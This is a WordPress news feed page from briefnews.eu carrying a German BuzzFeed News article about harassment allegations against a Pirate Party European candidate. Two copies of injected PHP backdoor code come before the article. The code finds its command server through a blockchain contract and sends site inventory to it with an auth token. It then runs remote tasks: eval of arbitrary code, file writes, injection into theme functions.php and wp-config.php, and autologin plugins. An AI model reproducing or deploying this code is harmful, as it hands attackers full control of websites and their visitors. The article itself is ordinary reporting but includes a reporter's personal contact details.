// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); darf – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 16 Mar 2019 00:53:54 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png darf – Brief News https://briefnews.eu 32 32 Ein Europakandidat der Piratenpartei soll eine Frau sexuell belästigt haben – trotzdem darf er weiter auf Platz zwei der Wahlliste stehen https://briefnews.eu/ein-europakandidat-der-piratenpartei-soll-eine-frau-sexuell-belastigt-haben-trotzdem-darf-er-weiter-auf-platz-zwei-der-wahlliste-stehen/ https://briefnews.eu/ein-europakandidat-der-piratenpartei-soll-eine-frau-sexuell-belastigt-haben-trotzdem-darf-er-weiter-auf-platz-zwei-der-wahlliste-stehen/#respond Sat, 16 Mar 2019 00:53:54 +0000 http://briefnews.eu/ein-europakandidat-der-piratenpartei-soll-eine-frau-sexuell-belastigt-haben-trotzdem-darf-er-weiter-auf-platz-zwei-der-wahlliste-stehen/

Einem Spitzenpolitiker der Piratenpartei, Gilles Bordelais, wird sexuelle Belästigung vorgeworfen. Für die Ende Mai anstehende Europawahl steht Bordelais auf Listenplatz zwei. Anfang Februar zog er sich nach Angaben der Partei aus dem Wahlkampf zurück, auf ihrer Wahlliste steht er aber noch immer.

Bordelais hatte vor seiner Kandidatur als Mitarbeiter bei Julia Reda gearbeitet, der einzigen Europaabgeordneten der Piratenpartei, die der Fraktion der Grünen im EU-Parlament angehört. Die ersten Beschwerden gegen ihn habe Reda bereits im Juni 2018 erhalten. „Ich habe daraufhin begonnen, Mitarbeiter*innen in seinem Arbeitsumfeld zu befragen, diese Gespräche haben die Vorwürfe erhärtet”, schreibt Reda in einer Email an BuzzFeed News. Mitte Juli 2018 habe sie daher bei der Parlamentsverwaltung die Kündigung von Gilles Bordelais beantragt.

Auch der beratende Ausschuss des Europaparlaments zu Belästigung am Arbeitsplatz hatte im Sommer 2018 eine Untersuchung gegen Bordelais begonnen. BuzzFeed News liegt ein Dokument vor, dass diese Untersuchung bestätigt.

Dort heißt es an die betroffene Frau gerichtet: „Nach gründlicher und sorgfältiger Prüfung Ihrer Beschwerde ist das Advisory Committee der Meinung, dass Aspekte des Verhaltens von Gilles Bordelais Ihnen gegenüber sexuelle Belästigung darstellt.“


Marcus Golejewski / picture alliance / Geisler-Fotop

Gilles Bordelais beim Bundesparteitag der Piratenpartei 2014.

BuzzFeed News hat das Europaparlament um eine Bestätigung des Falles gebeten, dieses verwies jedoch darauf, dass eine Kommentierung nicht möglich sei, „zum Schutz von Opfern und Beschuldigten“.

Bordelais bestätigt auf Anfrage von BuzzFeed News, dass seit Herbst 2018 eine Untersuchung bezüglich Vorwürfe sexueller Belästigung gegen ihn geführt wird, verweist aber darauf, dass die Untersuchung noch nicht abgeschlossen sei. „Ich bitte um Verständnis, dass alle Parteien sich zu Verschwiegenheit verpflichtet haben, solange das Verfahren noch läuft. Jedoch kann ich Ihnen versichern, dass ich es begrüßt hätte, wenn eine Entscheidung bereits gefällt geworden wäre“, so Bordelais in einer Mail an BuzzFeed News. Sein Rücktritt aus dem Wahlkampf erfolge aus persönlichen Gründen.

Der Spitzenkandidat der Piraten zur Europawahl Patrick Breyer veröffentlichte noch am Freitagabend eine Erklärung zu Bordelais. Darin schreibt er, Julia Reda habe Bordelais gekündigt, weil mehrere Beschwerden wegen sexueller Belästigung gegen ihn eingegangen seien. Dies sei allerdings erst nach der Aufstellungsversammlung für die Europawahl geschehen.


Oliver Franke

Patrick Breyer, Spitzenkandidat der Piratenpartei für die Europawahl.

Patrick Breyer erklärte am Abend gegenüber BuzzFeed News, er habe bereits zum Bundesparteitag im November 2018 einen Antrag in der Causa Gilles Bordelais entworfen. Ziel sei es gewesen, eine Information aller Mitglieder zu beschließen und den Bundesvorstand per Basisvotum zu beauftragen, Bordelais’ Nichtzulassung zu betreiben. Diesen Antrag habe der Bundesvorstand allerdings nicht zur Abstimmung gestellt und erklärt, er wolle sich selbst um die Angelegenheit kümmern.

Breyer verwies in seiner heutigen Erklärung zudem darauf, dass die Kandidatur von Bordelais wohl ohnehin keine Auswirkungen haben werde. „Nach aktuellen Meinungsumfragen kann die Piratenpartei Deutschland bei der Europawahl 2019 mit einem Ergebnis von rund 1,0% und damit einem Sitz rechnen“, so Breyer.

Wenige Tage vor dem Bundesparteitag im November 2018 hatte der schwedische Piratenpolitiker Mattias Bjärnemalm auf seinem Blog beschrieben, wie „einer der Top-Kandidaten“ der Piratenpartei unter den Augen vieler Zeugen mehrere Frauen belästigt haben soll. Es soll sich bei dem Mann um Bordelais handeln. In seinem Eintrag „A friend called Niles“ berichtet er von zwei formellen Beschwerden über seinen damaligen Freund und das „kollektive Versagen” seiner selbst und seiner Kollegen. Es scheine „allgemeine Resignation” darüber zu herrschen, dass der Mann auf der Liste zur Europawahl stehe. Julia Reda schreibt BuzzFeed News, sie könne die Darstellung der Geschehnisse von Bjärnemalm bestätigen.


BuzzFeed News recherchiert langfristig zu sexueller Belästigung im Bundestag und in der Politik. Habt ihr persönlich Erfahrungen gemacht, sind euch Fälle von MeToo in der Politik oder im Bundestag bekannt oder habt ihr andere Hinweise in diesem Kontext für uns? Dann meldet euch bei unserer Reporterin Pascale Müller: pascale.mueller@buzzfeed.com

Pascale ist auch über WhatsApp und Signal zu erreichen: +4915758473789. Für Hinweise und vertrauliche Dokumente haben wir außerdem einen anonymen und sicheren, digitalen Briefkasten.


Der Bundesvorstand teilte damals mit, er sei über „Anschuldigungen gegen einen Listenplatzbewerber zur Europawahl“ informiert worden. „Wir nehmen diese Anschuldigungen sehr ernst, werden uns zeitnah damit auseinandersetzen und gegebenenfalls angemessene Konsequenzen daraus ziehen“, heißt es in einer damals veröffentlichten Pressemitteilung auf der Webseite der Partei.

Rund drei Monate später, am 6. Februar 2019, erklärte der Bundesvorstand, Bordelais ziehe seine Kandidatur aus „persönlichen Gründen“ zurück. Der Vorstand bedanke sich für sein starkes Engagement im Wahlkampf, heißt es in einem kurzen Statement auf der Webseite.

”Ich bin nicht überzeugt, dass eine Streichung unmöglich war. Ich glaube, dass Gilles Bordelais seine Streichung vom Wahlvorschlag gezielt verhindert hat und der Bundesvorstand der Piratenpartei sein Verhalten aus mir nicht erklärlichen Gründen deckt“, kritisierte Julia Reda am Freitagabend das Vorgehen des Bundesvorstands in der Angelegenheit.

Am Freitag wurde der Verbleib von Bordelais auf der Kandidatenliste auch im Bundeswahlausschuss diskutiert. Dort müssen Parteien und deren Kandidaten formell zur Europawahl zugelassen werden. Zunächst war von Vertretern der Partei versucht worden, mit Hinweis auf ein fehlendes Dokument die Kandidatur für ungültig erklären zu lassen. Patrick Breyer schreibt dazu: „Zeitgleich zur Erklärung gegenüber der Piratenpartei hat Gilles Bordelais selbsttätig bei dem Bundeswahlleiter eine fehlende Unterlage für seine Zulassung zur Wahl nachgereicht.“

In der Sitzung des Wahlausschusses am Freitag führte die Vertrauensperson der Piratenpartei, Gabriele Biwanke-Wenzel, daraufhin noch einmal „gewichtige persönliche Gründe“ für die Streichung an – wurde aber nicht konkreter.

Der Bundeswahlausschuss entschied im Anschluss, dass Bordelais nicht von der Liste zu streichen sei. Für eine Streichung lag „kein Grund vor, da alle erforderlichen Unterlagen vorgelegt wurden”, schreibt ein Pressesprecher des Bundeswahlleiters auf Anfrage von BuzzFeed News. Maßgeblich für die Zulassung von Kandidatinnen und Kandidaten seien ausschließlich formale Gründe. Die Aufstellung der Listen obliege den Parteien, die Wahlvorschläge einreichen.

Auf Anfrage von BuzzFeed News antwortete ein Pressesprecher der Piratenpartei am Freitag: „Natürlich hat uns im Bundesvorstand das Thema heute auch beschäftigt.“ Er verwies weiter auf ein Statement auf der Webseite der Partei. Dort heißt es: „Bei der Tagung des Bundeswahlausschusses wurde heute die Liste der Piratenpartei ohne die von uns geforderte Veränderung zugelassen. Die von Gilles Bordelais und dem Bundesvorstand der Piratenpartei durch die Vertrauenspersonen vorgebrachte Bitte zur Streichung des zweiten Listenkandidaten wurde leider abgelehnt.“

Wenige Stunden später schreibt Patrick Breyer auf seiner Webseite: „Leider hat es sich als unmöglich erwiesen, ihn von unserer Liste zur Europawahl streichen zu lassen. Das Wahlrecht sieht einen Rücktritt von Kandidaten nicht vor. Für die Aufstellung einer neuen Liste fehlte uns im Zeitraum Februar 2019 bis Fristablauf am 4. März die Zeit. Ich bedauere dies außerordentlich. Trotz der geringen Chancen für eine Wahl von Gilles Bordelais war es uns wichtig, seine Streichung von der Europaliste zu erwirken.“


Tobias M. Eckrich; CC BY 2.0 / Via creativecommons.org

Europaabgeordnete der Piratenpartei, Julia Reda.

